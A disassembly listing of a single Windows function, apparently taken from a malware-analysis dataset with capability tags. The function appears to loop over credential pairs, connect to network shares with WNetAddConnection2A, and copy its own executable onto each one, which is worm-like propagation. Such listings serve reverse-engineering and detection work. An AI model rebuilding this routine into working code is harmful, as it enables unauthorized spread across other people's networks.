Function at 0x40ae04
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x11
push 0
push 0
dec ecx
jne 0x40ae0c
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404448
xor eax, eax
push ebp
push 0x40b142
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x40b15c
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404320
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00404458
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.00404260
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404458
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.0040a564
test eax, eax
je 0x40aea2
mov ax, 4
mov word [ebp - 0xe], 0x65
jmp 0x40aeaa
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x40b114
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40caf0
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x40b107
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40c958
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00404458
push eax
mov eax, dword [edi]
call fcn.00404458
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40b0fb
mov esi, 4
mov ebx, 0x40c948
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.004041bc
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.00404268
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.0040a538
test eax, eax
je 0x40af9a
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x40b168
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404320
mov eax, dword [ebp - 0x48]
call fcn.00404458
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.004027ac
mov eax, dword [ebp - 0x4c]
call fcn.00404458
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x40af9a
call fcn.0040a564
test eax, eax
je 0x40af93
push dword [ebp - 8]
push dword [ebx]
push 0x40b17c
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00404320
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.0040a590
mov dword [ebp - 0xc], 0xffffffff
lea edx, [ebp - 0x54]
mov eax, 0x40b190
call fcn.00408c60
mov eax, dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x58]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x58]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x5c]
mov eax, 0x40b1ac
call fcn.00408c60
mov eax, dword [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x60]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x64]
mov eax, 0x40b1bc
call fcn.00408c60
mov eax, dword [ebp - 0x64]
push eax
lea eax, [ebp - 0x68]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x68]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x6c]
mov eax, 0x40b1cc
call fcn.00408c60
mov eax, dword [ebp - 0x6c]
push eax
lea eax, [ebp - 0x70]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x70]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x74]
mov eax, 0x40b1dc
call fcn.00408c60
mov eax, dword [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x78]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x7c]
mov eax, 0x40b1ec
call fcn.00408c60
mov eax, dword [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x80]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
lea edx, [ebp - 0x84]
mov eax, 0x40b1fc
call fcn.00408c60
mov eax, dword [ebp - 0x84]
push eax
lea eax, [ebp - 0x88]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.004042ac
mov eax, dword [ebp - 0x88]
mov edx, 0x40b1a0
pop ecx
call fcn.0040934c
add ebx, 4
dec esi
jne 0x40af06
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x40b0fb
dec ebx
jne 0x40b0e9
add edi, 4
dec dword [ebp - 0x1c]
jne 0x40aed6
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x40aec1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b149
lea eax, [ebp - 0x88]
mov edx, 0x12
call fcn.00403ff0
lea eax, [ebp - 0x14]
call fcn.00403fcc
lea eax, [ebp - 8]
call fcn.00403fcc
ret